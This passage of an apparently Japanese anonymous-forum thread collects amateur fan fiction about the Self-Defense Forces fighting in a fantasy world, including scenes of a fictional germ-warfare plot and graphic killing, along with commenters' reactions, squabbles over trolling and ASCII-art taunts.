アレからどれくらい経ったのだろうか? 微かな痛みと心地良い冷たさが頭を覆うのに気付けば、
頭に瘤が出来ていて…水に浸した布が当ててあった。…かすかな、香油の、香りがした。

 「…上に立つ者の義務を忘れては…ならん。貴君はそれを、理解しているか? …しては居まい。
  己に出来る事は何かを断じ、率先して行動せねば誰も動いては呉れぬものだ…だから妾…私は…
  『日本国』へ往く事を決めたのだ。…国を、民を…苦しめぬためにな? 」

 俺は白い布を手に取り、匂いを嗅いだ。途端に『端女』の顔が羞恥に赤く為る。…もしや…これは…?

 「オガワとやらの入れ知恵ぞ! その方が汝の治りが早いとの『日本国の迷信』で有ると言った!
  もう起きられるのならば返せ! それは妾のっ…! 」
 「証拠写真は取ったぜ、ハナワちゃぁ〜ん! この、幸せ者っ! 塙2尉、姫様の、下着を嗅ぐ! 」
 「ハナワさん…」

 今にして思えば…一番この時が牧歌的で…幸せだったと思う。この後襲って来る事件に比べれば…。
4人を襲う者は、敵だけは無かった事を、俺達は思い知るハメに為る。『味方』すら信じられない状況。
 それが、俺達の前に立ち塞がっている事を…俺だけが『脳天気にも』認識出来て居なかったのだ。


585 名前: 名無し三等兵 2006/07/12(水) 10:22:11 ID:???

終わりかと思ったらまだあった

172 名前:小官 ◆qG4oodN0QY :04/09/04 04:03 ID:???

 「…睨み合いか…」

 幸島一佐は静かに部隊展開図を見て呟いた。配置が…拙い。士気も血気も盛んな普通科連隊は、待機命令に従うだけ
でも苦痛な筈だ。あの二人に託した使者の持つ『講和条約』が成立するまで持つのか? それが目下の頭痛の種だった。
 云わば『姫』の件は口実に過ぎ無い。条約の『裏書き』のために使者を務める者の『血統』が重視されただけだ。

 「側室の子と正室の子…どちらが死んでも、一向に構わん…か…。権力の化物め…」

 父王と折衝に当たったのは幸島一佐と、外務官僚だった。言質を与えようとしない、両者の得体の知れない腹の探り合い
に業を煮やした幸島一佐が提案した、『使者派遣』に両者が同意したのだった。勿論…失敗すれば責任は…

 「恃んだぞ…AHO…『穴』出身のお前こそ…我々『日和見派』の『切り札』だ…」
 「幸島一佐! 普通科連隊が、無断発砲を! …我が方は損害軽微! 内容は敵方の指揮官狙撃です! 」
 「この…馬鹿者どもが! 日本国を無限の戦争の泥沼に嵌らせた事を何故解らん! 」
 「幸島一佐? 何を怒ってるんですか? 戦争ですよ? ここは燃えるシチュエーションですよ? 」

 去り際の、彼、AHOの皮肉げな笑顔が幸島一佐の脳裏に浮かび上がった。『…俺の判断で俺は自由に動きますよ』と
言い放った彼の顔を。『ACE IN THE HOLE OGAWA』略して『AHO(アホウ)』。それが、彼に与えられた綽名だった。

『穴』はwikiでわかった ええと ACE IN THE HOLE て 切り札でホントにOK? 

586 名前: 名無し三等兵 2006/07/12(水) 10:29:00 ID:???

で 上のは、このネタを詳細にした奴らしい 小官の引き出しスゴス 

280 名前:小官 ◆qG4oodN0QY :04/08/11 13:59 ID:???
 残響音が絶えぬ間に、馬上に居た人間が落馬する。俺達の護衛対象であった…『姫』だ。
文化的後進国は交易のために『朝貢貿易』を行う事を選択した。その第一の貢物が…解るだろう?
 いかに愛娘だか何だか熱く主張されても、こんな『もの』を今の日本の誰が受け取ると言うのだろうか?

 「うっわ〜、撃った奴、きっとお前張りに冷血漢だぞ? まだ14だぞ、『姫』? …親が見ても解らんな…
 …頭が無え。こんな事可能なのは…富士学校の研究用にウン丁かあるアレしか無いな? そうだろ? 」
 「…これでこの下らん任務から解放されるんだ。感謝する! …誰だが知らんが、な? 」
 「筋書きは出来てた…か。おいおい、睨むなよ? どうせコイツの死も利用するんだろう? 他国侵略の
 ためにヨォ? 友好国の重要人物が「他の国家に殺された」とか戯言を言って? 違うか? 」

 俺は遺体を抱き上げた。この少女は…『姫』では無いのだ。お決まりの如く、『替え玉』だ。俺もこのふざけた
物言いの『奴』もとっくに知っていた。護衛を心配し、己の事を一人で完全に出来、さらには騎乗までこなす…。
王族特有の高慢さなど欠片も見られない。共に旅をしていれば解る。素性は解らんが…いい子だった…。

 「…『姫』か…。おい、やるか? アレを? 」
 「ああ、敬意を表す。俺達の流儀で…な。この子は…俺達にとっては…『姫』だ」

 捧げ銃を死体に向けて行う俺達は…狙撃者から見れば愚の骨頂だろう。だが、俺達はこの子こそ、模範なのだ。
己に与えられた『役割=任務』を、全うして…死んでいったのだがら。さらば、『姫』。俺達の記憶の中で…これからを生きよ。

587 名前: 名無し三等兵 2006/07/12(水) 10:29:44 ID:???

もう恥ずかしさで 書けないだろ 小官め 

588 名前: 翡翠(星空) ◆PujjQOi5D. 2006/07/12(水) 12:12:38 ID:???

・・・っと、まあ、
全軍がローカル・ルールを尊法している中で、
外道の私が1匹、ブーゲンビルから丸かじり、でありますよ。

ワタスも小官殿みたいに全編自衛隊ムンムンのSSを書いてみたいものです。
― あと何年勉強すれば・・・
いや、もはや入隊しないと無理なレベルでふねコレ;

壺もビユーワーももっていない翡翠にはありがたい過去SS発掘でござりまふ。

589 名前: 名無し三等兵 2006/07/12(水) 12:32:37 ID:???

漏れは思った
小官をまともなSS書きに戻す会を発足させる事を提案する

590 名前: 名無し三等兵 2006/07/12(水) 12:58:33 ID:???

オイラもそう思うのでありまする。(名無し投票☆)
まあ不穏な空気が流れたら漏れなく投下してくださる方なのですが。

591 名前: 名無し三等兵 2006/07/12(水) 13:09:56 ID:???

>>590
お前みたいな糞コテが雰囲気悪くしてるのわかってるのか?

592 名前: 名無し三等兵 2006/07/12(水) 13:18:16 ID:???

>>591 イエス。とりあえず588はこれにて失礼。

593 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/12(水) 13:37:49 ID:???

前言撤回。ここは退いてはいけない場面ですな。

594 名前: 名無し三等兵 2006/07/12(水) 13:47:13 ID:???

やっぱり糞コテだなお前。

595 名前: 名無し三等兵 2006/07/12(水) 13:51:55 ID:???

>>591
おまえこそふんいきをわるくしている
SSでもとうかしてみろよ
きぶんもかわるぜ

596 名前: 名無し三等兵 2006/07/12(水) 14:00:18 ID:???

>>595
星砂自演乙w

597 名前: 名無し三等兵 2006/07/12(水) 14:06:15 ID:???

ただのえんごしゃげきだぞ
かなでわるいがな
じえんしてるやつがじえんにんてい
こっけいだなしょうかんSSこぴぺやろう

598 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/12(水) 14:07:56 ID:???

>>596
しねえよw
>>594
菊の御紋が無くても駆逐艦は立派な軍艦でね。
まあ翡翠は民間商船レベルなんだがw

599 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/12(水) 14:15:14 ID:???

まあ翡翠が灰汁なのは同意なので

仕方なく自ら(^^)ん家(ち)のブーゲンビルに引っ込んでいるのだが。
(まあ、絶好の赴任理由でもあるのだが)

素晴らしいSSというのは完成させるのも大変だし、
なにより雰囲気も必要なのよ。
まさか江戸川に古参の大和等が浮かべられる訳も無いしね。

豊富な石油(良い流れ)がくるまでは、
ちっとやそっとの運用程度では壊れない零戦(四号戦車)の翡翠が時間稼ぎ。
まあ運用しているのが翡翠なので色々問題なのだが。


600 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/12(水) 14:21:55 ID:???

まあ、SSが投下されていたり、
誰も叩かれていなければ、

自働で翡翠はいなくなるのがデフォなので(わかっているクセに)
よければ小粋なSSを1品お願いなの。


601 名前: 名無し三等兵 2006/07/12(水) 22:03:21 ID:???

../../hobby7_army/1151/1151247561.html

小官アンチを装った荒らしが意味不明の行動しててワロタ

602 名前: 名無し三等兵 2006/07/13(木) 11:28:57 ID:???

小官辱めシリーズ今日の部開始

571 名前:小官 ◆qG4oodN0QY :04/12/19 13:12:59 ID:???

 「特定少数を活かすために、多数を虐殺するのか? こんな卑劣な手段で」
 「嫌なら私を殺せ。しかし、各方面隊直轄部隊や、各師団は動いている。もう遅い。停められんよ」
 「…貴様等は、愚を冒しているに過ぎん! 天に吐いた唾は必ず己に還る! 」
 「もう、引き返せないのだよ…。淘汰するかされるかは、OGKだ。ああ、クリスチャンでは無いぞ?
 Only Gods Knows、八百万の神々のみ知る、さ。…しかし日本人の方は生き残るだろうよ…」

 それは、卑劣な作戦だった。インフルエンザワクチン。毒性を低めたウィルスを人体に注入する事により、
抗体を人体中に生成させるの事が目的だ。しかし、耐性の無い人間にしてみれば…ウィルスを直接注入
されているに等しい。…この世界の住人である『彼ら』には…我々の持つ雑菌ですら危険であると言うのに…。
 その真逆もまた然り、だが、我々には培ったそれまでの『医療技術』が有る。入国制限は今も生きていた。
 
 「ウィルスの変異パターンなど、人などの予想範囲を遙かに超えている事は貴様も…! 」
 「それで滅びるならば滅べば良い。それまでの存在だったのだろう。どの道、このまま野蛮人なんぞに
  豊富な資源を浪費されて指を咥えて涎を垂らして見ているだけなら…数年も持たんのだからな」

 資源の備蓄は底が露呈しそうな程だ。所詮物資の補給の無い、大量消費生活など、営めるものでは無い。
哀しい事に、戦後世代は贅沢にも…物資の窮乏のもたらす真の苦痛を知らない。斯く言う俺も、同じだ。 

603 名前: 名無し三等兵 2006/07/13(木) 11:29:47 ID:???

572 名前:小官 ◆qG4oodN0QY :04/12/19 13:18:24 ID:???
…陸自は、戦時中の『石井部隊』並みの卑劣さを持つ連中によってある目的の元に、動かされた。
有る特科部隊は、『演習』で、『訓練弾』を渡され、この世界に提供してもらった『演習場』で撃て、と命じられた。
航空科はヘリで、『ある地方で害虫駆除』のために、ある液体の『エアロゾル散布』を集落に敢行を強制された。
普通科はつい昨日済ませた連中も『破傷風のワクチン注射』を受け、各集落で一週間以上の分屯を命じられた。
衛生科は…総てのこの世界の分屯地より撤収を完了した。少数の俺達『融和派』の有志を除いて…!

 「私を殺しても、もう遅いのだ! 生存競争は始まってしまったのだよ! はははっははっははっはははっ! 」

 …小川。貴様の言う通りに為りそうだ。インカにアステカ。今なら鈍い俺でも解る。戦闘で戦い、生存競争を
勝ちぬくならば、こうまで寝覚めは悪く有るまい。日本のために『戦って死ぬ』ならまだ俺達は浮かばれよう。
 俺はゆっくりと、小銃の引金を、目の前の2尉に銃口を向けて絞って行く。コイツが、この腐れた絵図を描いた。
それを内閣総理大臣はどんな顔で聞いたのだろうか? 隠し切れない軽蔑を顔全体に浮かべながら、俺は
逆鉤の落ちる固い音と、5.56oの軽すぎる連続発射音を聞いた。…今死ねるだけでも感謝しろ、糞野郎!
 なあ、誰か、教えてくれ。生存競争に勝てたとしても、誰が何のために生き残るのか…? 

 「感染するのは弱者なのを何故解らんのだ…女や子供…老人が真っ先に犠牲に為る…。貴様等の大好きな、
 『純血の日本人』が生まれぬ引金を引いたに等しい結果を、何故、何故解らなかった! 馬鹿ヤロウ…! 」

 残された時間は、無い。俺は報告を済ませると、紙資料を総てデジタルカメラで記録し、メモリーカード数十枚と
ともに脱出を試みる。さあ、来たぞ?同族殺しの始まりだ! …相手は…嘗ての『仲間』だが…。


604 名前: 名無し三等兵 2006/07/13(木) 11:31:53 ID:???

580 名前:小官 ◆qG4oodN0QY :04/12/19 19:07:24 ID:???
>>572

 「な、なんて殺し方だ…同じ日本人なのに! 」

 殺す相手をまだ『ヒト』だと思っているのか? 俺にしてみれば『敵』は息をする動物以下に過ぎん。
両目に親指突っ込んで脳まで損傷させなければ無力化出来ない。それが真実だ。日本人も糞も無い。
体中の筋肉を痙攣させてのたうちまわるそいつの眼窩から、血が止め処無く、溢れ出ていた。

 「…敵を人間だと思ってる、貴様等が甘いだけさ」

 『穴』に篭って見ると良いのだ! この腐れ馬鹿どもも! 『奴等:半魚人』と血みどろの戦いを行えば良い。
タコの化け物に精神をいじくられそうになる恐怖を感じると良いのだ。そして狂わされた先程までの『仲間』相手に
弾薬、食料、資材の奪い合いを演じてみるが良い。…きっと人間への深い絶望を抱いて一生を贈るハメに…

 「おまえだって、陸上自衛官だろうが! 」
 「そうだが、俺は俺なのさ。…貴様等みたいに心から『犬』には為れん。卑小な者にはなれんのさ」
 「何様の…! 」

 五月蠅い。俺は力一杯首を踏みつけてやる。…予想外に軽く高い音が響いた。首の骨は、結構丈夫なのだが、な?
残り2人は小銃を握ったまま、撃とうともしない。オイオイ…銃口が震えてるぞ? 殺る気があるのか? ンゥ? …ふう。

 「さあ、撃てよ? どうした? 貴様等なんぞのCQBでは、俺を停められんぞ? 貴重なデータは灰同然で、
 俺の所持しているメモカだけが総て! 欲しけりゃ俺を殺して奪うしか無いんだよなぁ…キミ達ぃ? さあ、さあ、さあ! 」

スネーク、スネーク! 応答しろ、スネーク!

605 名前: 名無し三等兵 2006/07/13(木) 11:39:06 ID:???

>>560-561
WORLD ALLをよむと小官よりひでぇのになw

606 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/13(木) 16:11:20 ID:???

私は

WORLD ALLのクシヤ氏に
「うふふふふふ☆」と
なにかとまとわりついているイメージの魔女がお気に入り。
なんかモノスッゲ可愛いお嬢ちゃんなヨカーン でしてのう。

少佐殿作品がモノ書き特有の
「頭からイメージが溢れて全部書き留めきれません!1!1」の原石投下イメなら、

YXz殿は
非常に丁寧に整理されて、読みやすさに徹しているイメージ。

角度次第では、
研磨以上の輝きを見せる原石部分を愛でて残すか(芸術強め)

それでもあえて基本に徹して、
カットに磨きをかけるか(実用品主義)


607 名前: ◆YXzbg2XOTI 2006/07/13(木) 21:08:07 ID:???

>>605
そりゃあ「世界の全て(意訳)」はあんまり推敲せずに勢いで書いてるからな。
本当なら1話分当たり半年ぐらいかけて書きたいくらい自分は遅筆。
でも「ここを書き直したい」「此処はもう少し練りこみたい」とか
考えてたらいつまでたっても書きあがらないので、週に何回とか
何日ごとに投下とか、自分で締め切り作ってそれまでに書きあがった文は
問答無用で罰ゲーム感覚でスレで晒してた。

俺がアマチュア物書きな最大の理由は「期日までに要求された原稿をかけない」から。
期日が無限大、とかいうなら10年後にでも「完璧で文句のつけようのないWORLD ALL」
を書き上げて見せるが、そんな不確かな話は「言うだけなら誰でも出来る」だな。

>>606
イラストに有名漫画家でも起用すればどんなキャラでも
可愛いお嬢ちゃんになりうるが…
今まで特に容姿の描写無かったけど、あの世界の人間は
現実のヨーロッパ人と同じで美しい時期が10代前半まで
という東欧や北欧系の特徴を持っている人種です。

例えばスヴァンは19歳なんで既に花の時期は過ぎて老け顔。
(現代日本人の美的感覚からすれば)

読みやすいつーか、あんなのプロットのレベルでしかない文章だろ。
本来あんなのラノベにも値しねー。

608 名前: 名無し三等兵 2006/07/13(木) 22:53:46 ID:???

翡翠って荒らしでしょ?

609 名前: 名無し三等兵 2006/07/14(金) 01:03:07 ID:???

>>608
どのへんが?

610 名前: 名無し三等兵 2006/07/14(金) 14:55:24 ID:???

喋り方とか。

611 名前: 名無し三等兵 2006/07/14(金) 22:28:30 ID:???

>>610
キャラ作ってんでしょ。
気に入らなけりゃ、脳内で自分好みの台詞に変換すれば?
大丈夫、ここはファンタジースレだ。俺達には妄想で補えるwww

612 名前: 書き捨て 2006/07/15(土) 17:11:21 ID:???

「剣を抜け! 槍を構えよ!」

 そこは、戦場。
 今まさに両軍が激突しようかという刹那、緊張に包まれし兵の前に立つは、軍馬にまたがる雄々しき騎士。

「敵は精強である。しかし、それは闇の力。魔界よりもたらされし悪しき力である! 如何に強大であろうと、神の加護を受けし我々に通用する道理はない!」

 叫びつつ、美しい装飾の施された剣を掲げ、配下の兵を鼓舞する。

「正義は我らにあり! 勝利は我らに!」

 振り返る。
 地平線に見えるは、こちらに迫る来る騎馬軍勢。
 敵。
 魔王軍と呼ばれ、強大な武力でもって大陸制覇に乗り出した闇の軍勢である。

「突撃せよ!」

 騎士の号令に湧き上がる鬨の声。
 神の為、正義の為、領地の為、槍を構え我先に馬を走らせる重装騎士たち。
 敵は少数。しかも、軽装。
 先頭を駆ける騎士はほくそ笑んだ。何が魔王軍か。神に祝福されし我が聖槍が、こんな弱卒さえ貫けぬとでも?
 事実、彼は武勇に優れる一騎当千の勇者であった。最初に接触した騎馬兵の胸を一突きし、抜き様、左側から迫る騎馬兵も柄で叩き落とした。

「魔王軍が如何なるものか! 奮い立て! 神の名において、闇に憑かれし異端者を祓うのだ!」

 重装騎士団に遅れて進んでいた歩兵団も追い付き、少数の騎馬兵で構成される魔王軍は数に圧倒される形となる。
 勝利を確信し、さらに突撃指示を出す騎士。

613 名前: 書き捨て 2006/07/15(土) 17:12:11 ID:???

 その時であった。
 彼が今までに全く聞いたことのない、大気を震わす響く重低音を耳にしたのは。
 彼だけではない。
 騎士団の他の者たちも、歩兵たちも。その天空より伝わる聞き慣れぬ音に、空気の震動に戸惑い、あたりを見回していた。
 魔王軍は対照的に、その音が合図だったかのように機敏に反転すると、騎士団の隙を突いて速やかに後退を開始する。

 その敵の動きで我に返った騎士は、急ぎ追撃指示を出そうとしたが、前方に向き直った瞬間に再び凍り付いていた。
 同じものを見た兵の中の誰かが、引きつった声を張り上げた。

「魔獣だ!」

 騎士団の視線の先にあったのは、槍さえ届かぬ空に漂う異形の存在。先ほどからの重低音は、彼の存在の咆哮であったのだ。
 魔王軍が魔王軍たる理由、それは魔界より召喚されし闇の軍勢にある。
 彼らの操る“魔界魔術”は国中の魔術師の常識を打ち破り、彼らの僕たる“魔獣”は、剣も魔法も通じぬと聞く。
 しかし、これは魔獣というよりも、怪鳥ではないか?
 そんなどうでもいい事を呆然と考えた騎士だったが、すぐさま現実に戻り、現状を理解する。

「矢を放て!」

 だがそれはもう遅すぎた。無論、早かったとしても何の効果も無かったであろうが。
 怪鳥のクチバシから、轟音とともにブレスが吐き出され、騎士団を薙ぎ払う。
 ほんの一瞬。
 怪鳥がほんの一息吹いただけで、騎士団はその存在を過去のものとされていた。

 怪鳥の名は、AH−1S“コブラ”。
 クチバシから放たれる息──20ミリ機関砲の前には、栄光ある騎士団の甲冑も、神に祝福されし聖なる盾も、全てが無意味であった。

 魔王軍。
 それは魔王と呼ばれる存在が、魔界より召喚した異質なる軍勢。
 彼らは魔界ではこう呼ばれていた。

 ──陸上自衛隊と。

614 名前: 名無し三等兵 2006/07/15(土) 17:54:38 ID:???

(-∀-) F世界の人間から見れば、確かにリアル世界は魔界なのかも知れないな…

615 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/07/16(日) 00:52:57 ID:???

流れを読まずに投下!

今回もノリと即興でもって書き下ろし〜。
誤字脱字はご容赦をー、

日本異邦戦記外伝
「南洋の朝」

616 名前: 名無し三等兵 2006/07/16(日) 01:17:16 ID:???

>>613
おk、続ききぼん。

617 名前: 名無し三等兵 2006/07/16(日) 05:08:20 ID:???

            _ . .ー. .、
       , -‐ ´ ̄: :, :ニ、丶、`:ー. ._      ___
     , -': : : :/⌒:く: : : : `:ー`ー- 、: : : ̄ ̄ ̄ : : : : : :  ̄
    //_ノ ̄!: : : : : : : : : : :ー 、\ヽ-:.._: : : : : : : : : : : : :
   j:.ハ: : : : : : : : : : : _: :\-: : _\ヽ::\: :  ̄ー--::::::::::_
    l:.|: :|: {: : : : : : :‐ 、、`ヽ、ヽ-ヽヽlヽ: :::丶: : : : : : : : : : : :
   V: :j: :ヽヽ、`ヽ、_:_\>‐≧l ト丶 : \::::ヽ::::.... : ::::.... : : :    
    !:./{: : ::ト、:ト>‐  ̄l`〃 ̄ |ノ::::\: : :丶、\-:::::::::::::::::::     糞スレ見いつけたー
    V|ハ:トヽー>=   ヽ     |ヽ::::::::::丶、: : :`: ー ̄:::::::ー:
    ヽ rトヘ-ミ ´     '    ハ_::-:::::_::`:::ー---:::`ヽ:
      トlヽ\\    r ´} / ヽヽヽー―‐   7⌒ヽ::::::::
      ヽヽ\\`ヽ、 _ー_ノ/  l ヽヽ     /   ヽ:::::
       ヽ.\`     ヽー、_/__j__ヽヽ    !      l::::
     ,. -ヘ '\     Vー|、    //`i ヽ   l   ー-ヽ
    /     \ ヽ    ヽ _Vー- _j l  |〉_´_ l   ヽ __}
   l`ヽ、    ヽ  \     !   /` ┴- Lj_ヽ   _
    | / \ , イヽ〉   〉ー-、|   l         ̄ ̄
   ノ   /{   V    / |ー-!    |


618 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/07/16(日) 07:53:23 ID:???

 手を組んでそのまま上に向けて、大きく伸びをすると川に沿って樹は
歩き出した。
何も目印になるようなものがないため、川に沿って歩けばどうだろうかと
考えたからだった。

 空腹を覚えつつ、草のかたまりを掻き分けながら泣きたくなるのを我慢
しつつ歩く樹の耳に、微かにだが水が物に当たって飛び散るような音を、
聞いたように思えた。

 空耳かな?
そう思いながら2・3歩歩くと、また水が跳ねるような音を樹はきいた。
今度は空耳ではない。

619 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/07/16(日) 08:08:17 ID:???

 疑念と好奇心と恐怖とが入り混じったような感情を抱いて、樹はおっかなびっくり
近づいた。
そして近づくにつれ、樹の耳により水が物に当たって砕ける音と、水を書き分けるよ
うな音が響いた。

 音の源にまで近づいた時、樹は信じられないものでも見たような顔をする。
水を砕いていたもの。
 まるでこうもりの様な翼と、太く厚い胴体とそこから伸びる四肢。
胴体の前後に続く、やや長い尻尾と太いけれど、やや短い首だった。

 思わず、樹は腰を抜かして地面に尻餅をついてしまい、声にならない叫びを漏らし
てしまった。

620 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/07/16(日) 08:17:03 ID:???

 樹の声にならない叫びにその生物は気づき、樹に首を巡らして、
爬虫類のあの独特の目でもって、樹を見やる。

 その動きに尻餅をついたまま、樹はあとずさった。
その生物は、そんな樹の姿をみて、やや高音に近い声を出し、少し
首を傾げつつ、樹を見やった。
 その声はどうみても樹を威嚇したり、獲物として狙っているわけで
もなく、ただ興味と注意を樹に向けているようだったが、今の樹に判
るわけもなく、恐怖で思わず涙がでる。

621 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/07/16(日) 09:03:31 ID:???

 その生物は樹に対して、もう一度鳴いた。
涙目の樹に、唐突に自分のものとは違う感情がわいた事に、混乱してしまった。

 自分とは違うものに対する好奇心が、樹の感情に割り込んできたものである。
更に混乱した樹のもとに、その生物が近づくのを見とめた樹はとうとう金縛りにあ
ったかのように動けなくなってしまった。

「こ、こないでよ!」
 震えながら声を絞り出した樹の眼前に、その生物はすうっと頭を突き出したかと
思うと、顔の先端――どうやら鼻らしい――で匂いを嗅いでいるようだった。

 しばらくして、樹の体を嗅ぎまわるのに飽きたようで、今度は樹の傍に座り込んで、
じっと樹を凝視し始めた。

622 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/07/16(日) 09:26:10 ID:???

 恐怖で体が硬直していた樹は、どうやら目の前にいる生き物が襲ってくる
気配がなく、興味深げにじっと覗き込んでいるその目のおかげで、ようやく
落ち着きを取り戻した。
そうすると今度は自分とは違う感情に疑問が浮かぶのは当然といえた。

「ね、ねぇ。何もしないでよ・・・?」
 そう言って恐る恐る立ち上がろうとした樹の声にその生き物は反応したらしく、
樹の動きに合わせて顔と目を動かした時、また別の感情が流れてくる。

 何をするのだろうという好奇心だった。
その感情と目の前の生き物の動きから、樹は唐突に悟ってしまった。

623 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/07/16(日) 09:37:26 ID:???

 目の前の生き物の感情だという事に。
その事に気づいた樹は収まっていた混乱にまた動揺してしまう。

 なんでそんな・・・!声にならない叫びをあげ、寝そべりながら
樹を見つめ続ける生き物を。訳が判らないまま見つめ返した。

 立ち上がりかけた腰を再び地面につけたまま、樹は思わず鳴き
そうになった。
「・・・お母さん」
思わず口をついて出た言葉に、どうやらその生き物は反応したらし
く、むくりと体を起こした。

 ど、どうしたのかしら?何か悪い事でも言っちゃったのかな。
そんな事を考えてしまいつつ、目を丸くしながら樹は体を起こした
生き物を注視する。
 

624 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/07/16(日) 09:47:46 ID:???

「連れてってくれるの?」
 どこにとは言わなかった。樹にとってはその言葉の主語は家で、しかし
どうやら相手はそれだけで判ったらしい。

 その反応に思わず樹が口走った。
「家まで送ってよ!」
 するとその生き物は乗れとでも言いたげに、腹を地面につけて樹が乗り
やすいよう首を低くしたのだった。

 どうやら乗せてくれるらしい。そう思った樹はおっかなびっくりだが、生き
物の背中に乗り首にしがみつくと、唐突に体が浮き上がるかのような感覚
を感じた。
その感覚は嘘ではなかった。実際にその生き物の体が宙に浮いている事
に、樹は驚愕し、首に強く抱きついたのだった。


625 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/07/16(日) 09:49:05 ID:???

あげようとしてる時に思わず寝ちまったょorz

次でようやく完結できそうでつ。
えらい時間かかっちまった(吐血

626 名前: 名無し三等兵 2006/07/16(日) 12:14:44 ID:???

乙ですー。待っていましたよ。

627 名前: 名無し三等兵 2006/07/16(日) 12:41:50 ID:???

            _ . .ー. .、
       , -‐ ´ ̄: :, :ニ、丶、`:ー. ._      ___
     , -': : : :/⌒:く: : : : `:ー`ー- 、: : : ̄ ̄ ̄ : : : : : :  ̄
    //_ノ ̄!: : : : : : : : : : :ー 、\ヽ-:.._: : : : : : : : : : : : :
   j:.ハ: : : : : : : : : : : _: :\-: : _\ヽ::\: :  ̄ー--::::::::::_
    l:.|: :|: {: : : : : : :‐ 、、`ヽ、ヽ-ヽヽlヽ: :::丶: : : : : : : : : : : :
   V: :j: :ヽヽ、`ヽ、_:_\>‐≧l ト丶 : \::::ヽ::::.... : ::::.... : : :     あらあらー
    !:./{: : ::ト、:ト>‐  ̄l`〃 ̄ |ノ::::\: : :丶、\-:::::::::::::::::::     本当にいまいちですねー
    V|ハ:トヽー>=   ヽ     |ヽ::::::::::丶、: : :`: ー ̄:::::::ー:
    ヽ rトヘ-ミ ´     '    ハ_::-:::::_::`:::ー---:::`ヽ:
      トlヽ\\    r ´} / ヽヽヽー―‐   7⌒ヽ::::::::
      ヽヽ\\`ヽ、 _ー_ノ/  l ヽヽ     /   ヽ:::::
       ヽ.\`     ヽー、_/__j__ヽヽ    !      l::::
     ,. -ヘ '\     Vー|、    //`i ヽ   l   ー-ヽ
    /     \ ヽ    ヽ _Vー- _j l  |〉_´_ l   ヽ __}
   l`ヽ、    ヽ  \     !   /` ┴- Lj_ヽ   _
    | / \ , イヽ〉   〉ー-、|   l         ̄ ̄
   ノ   /{   V    / |ー-!    |

628 名前: 名無し三等兵 2006/07/16(日) 13:06:52 ID:???

タイフーンスレで相手にされなくて悔しいんだねw プププ

629 名前: 名無し三等兵 2006/07/16(日) 13:58:54 ID:???

痛厨(別名病原菌)

学園島戦争スレをコピペやスレ違いの自作自演で荒らす人物。
主に少年犯罪などの記事をコピペ、間髪置かずの連投で多人数に見せかけている。
コピペがスレ違いであることを指摘されると意味不明な回答や住人に対するスレ違い発言等を行い、以前タイフーン氏及び住人から問われた際は「理解できない方が悪い」、「スレ違いではない」などと書き込み理由を説明せず(できない可能性大)、案の定コピペを連投した。

痛厨というあだ名は知性を感じられない書き込み内容やバレバレの自作自演、まともな議論ができないことから付けられたもので、本人も了承していると思われる。
加えて精神年齢も非常に低いらしく、一つ否定的な意見を述べられると十数件の連投を行う。

だそうだ>>628

630 名前: 名無し三等兵 2006/07/16(日) 16:05:42 ID:???

>>628
            _ . .ー. .、
       , -‐ ´ ̄: :, :ニ、丶、`:ー. ._      ___
     , -': : : :/⌒:く: : : : `:ー`ー- 、: : : ̄ ̄ ̄ : : : : : :  ̄
    //_ノ ̄!: : : : : : : : : : :ー 、\ヽ-:.._: : : : : : : : : : : : :
   j:.ハ: : : : : : : : : : : _: :\-: : _\ヽ::\: :  ̄ー--::::::::::_
    l:.|: :|: {: : : : : : :‐ 、、`ヽ、ヽ-ヽヽlヽ: :::丶: : : : : : : : : : : :
   V: :j: :ヽヽ、`ヽ、_:_\>‐≧l ト丶 : \::::ヽ::::.... : ::::.... : : :     違いますよ〜
    !:./{: : ::ト、:ト>‐  ̄l`〃 ̄ |ノ::::\: : :丶、\-:::::::::::::::::::     学園島スレのLVの高いSSと比較して
    V|ハ:トヽー>=   ヽ     |ヽ::::::::::丶、: : :`: ー ̄:::::::ー:       感想を述べただけです〜
    ヽ rトヘ-ミ ´     '    ハ_::-:::::_::`:::ー---:::`ヽ:
      トlヽ\\    r ´} / ヽヽヽー―‐   7⌒ヽ::::::::
      ヽヽ\\`ヽ、 _ー_ノ/  l ヽヽ     /   ヽ:::::
       ヽ.\`     ヽー、_/__j__ヽヽ    !      l::::
     ,. -ヘ '\     Vー|、    //`i ヽ   l   ー-ヽ
    /     \ ヽ    ヽ _Vー- _j l  |〉_´_ l   ヽ __}
   l`ヽ、    ヽ  \     !   /` ┴- Lj_ヽ   _
    | / \ , イヽ〉   〉ー-、|   l         ̄ ̄
   ノ   /{   V    / |ー-!    |


631 名前: 名無し三等兵 2006/07/16(日) 16:17:45 ID:???

痛厨ってほんと馬鹿だね。

632 名前: 名無し三等兵 2006/07/16(日) 16:27:03 ID:???

>>631
お前のメル欄とかなw

633 名前: 名無し三等兵 2006/07/16(日) 16:29:27 ID:???

ほんと痛いよw

634 名前: 名無し三等兵 2006/07/16(日) 16:30:19 ID:???

痛厨、晒しあげ

635 名前: 名無し三等兵 2006/07/16(日) 16:32:52 ID:???

痛々しい連投が始まったようですね。運営に通報してきます。

636 名前: 名無し三等兵 2006/07/16(日) 16:34:00 ID:???

>>635
なるべく、早く頼む。

637 名前: 名無し三等兵 2006/07/16(日) 16:36:31 ID:???

何やら頭の可哀想な方がいますね

638 名前: 名無し三等兵 2006/07/16(日) 16:36:38 ID:???

>>635
余計な事すんな。

639 名前: 名無し三等兵 2006/07/16(日) 16:37:59 ID:???

なんで?荒らしは通報して規制しなきゃ駄目じゃない。

640 名前: 名無し三等兵 2006/07/16(日) 16:40:55 ID:???

君はあちこちで荒らしているからアク禁になるだろうね。覚悟しな。

641 名前: 名無し三等兵 2006/07/16(日) 16:41:32 ID:???

>>639
荒らしはお前なわけだが。

